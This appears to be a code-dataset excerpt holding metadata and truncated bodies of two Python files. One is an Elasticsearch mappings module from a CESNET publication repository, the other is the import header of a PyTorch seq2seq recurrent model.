0.589044
c48225cd7e2f181c1e395269c6d28ef9e4d62454
574
py
Python
publications/datasets/mappings/__init__.py
Alzpeta/publications-api
6332c1329b22ff4f494085f042e893a8a94e33df
[ "MIT" ]
null
null
null
publications/datasets/mappings/__init__.py
Alzpeta/publications-api
6332c1329b22ff4f494085f042e893a8a94e33df
[ "MIT" ]
13
2021-01-21T14:35:29.000Z
2021-09-01T07:53:27.000Z
publications/datasets/mappings/__init__.py
Alzpeta/publications-api
6332c1329b22ff4f494085f042e893a8a94e33df
[ "MIT" ]
4
2021-02-23T18:17:35.000Z
2021-07-23T14:54:13.000Z
# -*- coding: utf-8 -*- # # Copyright (C) 2020 CESNET. # # CESNET OA Publication Repository is free software; you can redistribute it and/or modify it # under the terms of the MIT License; see LICENSE file for more details. # """Mappings. Mappings define how records and their fields will be indexed in Elasticsearch. ...
31.888889
93
0.771777
caa86c6d5e4874b344d7dd92209b75f5f89ec574
10,363
py
Python
seq2seq/models/recurrent.py
marvis/seq2seq.pytorch
9b27c4d70666bf1ed9cbbe4f1ef0a765c3465530
[ "MIT" ]
null
null
null
seq2seq/models/recurrent.py
marvis/seq2seq.pytorch
9b27c4d70666bf1ed9cbbe4f1ef0a765c3465530
[ "MIT" ]
null
null
null
seq2seq/models/recurrent.py
marvis/seq2seq.pytorch
9b27c4d70666bf1ed9cbbe4f1ef0a765c3465530
[ "MIT" ]
1
2021-01-07T10:37:31.000Z
2021-01-07T10:37:31.000Z
# Partially adapted from https://github.com/OpenNMT/OpenNMT-py import torch import torch.nn as nn from torch.autograd import Variable from torch.nn.utils.rnn import pad_packed_sequence as unpack from torch.nn.utils.rnn import pack_padded_sequence as pack from torch.nn.utils.rnn import PackedSequence from .seq2seq impo...
40.799213
99
0.596545